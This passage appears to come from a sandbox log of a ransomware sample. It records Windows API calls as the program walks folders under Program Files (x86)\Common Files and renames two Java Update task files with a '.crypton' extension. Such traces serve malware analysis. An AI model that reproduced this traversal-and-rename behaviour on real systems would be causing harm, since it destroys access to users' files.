lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf1a9e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xddac0dc0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xddac0dc0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0161.702] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf1a9e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f24da0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f24da0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x180, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549810 [0161.720] GetFileType (hFile=0x190) returned 0x1 [0161.725] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\Adobe\\ARM\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8386f760, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xddc17a20, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xddc17a20, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0161.729] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\Adobe\\ARM\\1.0\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8386f760, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xddc17a20, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xddc17a20, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549810 [0161.735] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d580500, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xddc17a20, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xddc17a20, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0161.736] GetFileType (hFile=0x1a4) returned 0x1 [0161.740] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ca_ES\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xddc3db80, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xddc3db80, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549810 [0161.742] GetFileType (hFile=0x1a4) returned 0x1 [0161.746] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\cs_CZ\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5f2920, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xddc3db80, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xddc3db80, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549810 [0161.747] GetFileType (hFile=0x1a4) returned 0x1 [0161.752] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\da_DK\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d580500, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xddc63ce0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xddc63ce0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549810 [0161.754] GetFileType (hFile=0x1a4) returned 0x1 [0161.760] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\de_DE\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5a6660, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xddc63ce0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xddc63ce0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549810 [0161.761] GetFileType (hFile=0x1a4) returned 0x1 [0161.766] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\en_US\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5a6660, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xddc63ce0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xddc63ce0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549810 [0161.767] GetFileType (hFile=0x1a4) returned 0x1 [0161.773] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\es_ES\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xddc89e40, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xddc89e40, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549810 [0161.774] GetFileType (hFile=0x1a4) returned 0x1 [0161.778] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\eu_ES\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xddc89e40, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xddc89e40, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549810 [0161.779] GetFileType (hFile=0x1a4) returned 0x1 [0161.783] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\fi_FI\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xddcaffa0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xddcaffa0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549810 [0161.785] GetFileType (hFile=0x1a4) returned 0x1 [0161.788] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\fr_FR\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d580500, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xddcaffa0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xddcaffa0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549810 [0161.789] GetFileType (hFile=0x1a4) returned 0x1 [0161.794] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\hr_HR\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5f2920, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xddcaffa0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xddcaffa0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549810 [0161.796] GetFileType (hFile=0x1a4) returned 0x1 [0161.801] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\hu_HU\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5f2920, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xddcd6100, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xddcd6100, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549810 [0161.803] GetFileType (hFile=0x1a4) returned 0x1 [0161.809] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\it_IT\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5a6660, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xddcd6100, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xddcd6100, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549810 [0161.809] GetFileType (hFile=0x1a4) returned 0x1 [0161.813] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ja_JP\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5a6660, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xddcd6100, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xddcd6100, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549810 [0161.814] GetFileType (hFile=0x1a4) returned 0x1 [0161.819] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ko_KR\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5a6660, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xddcfc260, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xddcfc260, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549810 [0161.819] GetFileType (hFile=0x1a4) returned 0x1 [0161.823] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\nb_NO\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5a6660, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xddcfc260, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xddcfc260, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549810 [0161.830] GetFileType (hFile=0x1a4) returned 0x1 [0161.866] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\nl_NL\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d580500, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xddd6e680, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xddd6e680, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549810 [0161.867] GetFileType (hFile=0x1a4) returned 0x1 [0161.871] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\pl_PL\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5f2920, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xddd6e680, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xddd6e680, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549810 [0161.874] GetFileType (hFile=0x1a4) returned 0x1 [0161.902] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\pt_BR\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xdddba940, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xdddba940, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549810 [0161.903] GetFileType (hFile=0x1a4) returned 0x1 [0161.908] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ro_RO\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5f2920, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xdddba940, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xdddba940, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549810 [0161.908] GetFileType (hFile=0x1a4) returned 0x1 [0161.916] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ru_RU\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5f2920, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xddde0aa0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xddde0aa0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549810 [0161.917] GetFileType (hFile=0x1a4) returned 0x1 [0161.921] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sk_SK\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5f2920, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xddde0aa0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xddde0aa0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549810 [0161.922] GetFileType (hFile=0x1a4) returned 0x1 [0161.926] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sl_SI\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xdde06c00, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xdde06c00, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549810 [0161.926] GetFileType (hFile=0x1a4) returned 0x1 [0161.931] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sv_SE\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xdde06c00, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xdde06c00, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549810 [0161.932] GetFileType (hFile=0x1a4) returned 0x1 [0161.936] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\tr_TR\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xdde06c00, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xdde06c00, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549810 [0161.936] GetFileType (hFile=0x1a4) returned 0x1 [0161.941] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\uk_UA\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xdde2cd60, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xdde2cd60, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549810 [0161.941] GetFileType (hFile=0x1a4) returned 0x1 [0161.948] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\zh_CN\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d580500, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xdde2cd60, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xdde2cd60, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549810 [0161.948] GetFileType (hFile=0x1a4) returned 0x1 [0161.952] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\zh_TW\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d580500, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xdde2cd60, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xdde2cd60, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549810 [0161.953] GetFileType (hFile=0x1f0) returned 0x1 [0161.959] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\Java\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x801ae160, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xdde52ec0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xdde52ec0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549790 [0161.963] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\Java\\Java Update\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x801d42c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xdde52ec0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xdde52ec0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0161.991] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Common Files\\Java\\Java Update\\task.xml" (normalized: "c:\\program files (x86)\\common files\\java\\java update\\task.xml"), lpNewFileName="C:\\\\Program Files (x86)\\Common Files\\Java\\Java Update\\task.xml.crypton" (normalized: "c:\\program files (x86)\\common files\\java\\java update\\task.xml.crypton"), dwFlags=0x2) returned 1 [0161.996] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Common Files\\Java\\Java Update\\task64.xml" (normalized: "c:\\program files (x86)\\common files\\java\\java update\\task64.xml"), lpNewFileName="C:\\\\Program Files (x86)\\Common Files\\Java\\Java Update\\task64.xml.crypton" (normalized: "c:\\program files (x86)\\common files\\java\\java update\\task64.xml.crypton"), dwFlags=0x2) returned 1 [0161.997] GetFileType (hFile=0x1f0) returned 0x1 [0161.998] GetFileType (hFile=0x1f0) returned 0x1 [0161.999] GetFileType (hFile=0x1f0) returned 0x1 [0162.001] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\microsoft shared\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xdde9f180, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xdde9f180, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549790 [0162.001] GetFileType (hFile=0x190) returned 0x1 [0162.013] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\microsoft shared\\DAO\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xddec52e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xddec52e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0162.019] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed5e6b0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xddeeb440, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xddeeb440, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0162.020] GetFileType (hFile=0x1a4) returned 0x1 [0162.033] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1028\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed5e6b0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xddf115a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xddf115a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549810 [0162.034] GetFileType (hFile=0x1a4) returned 0x1 [0162.038] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1031\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed5e6b0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xddf115a0, 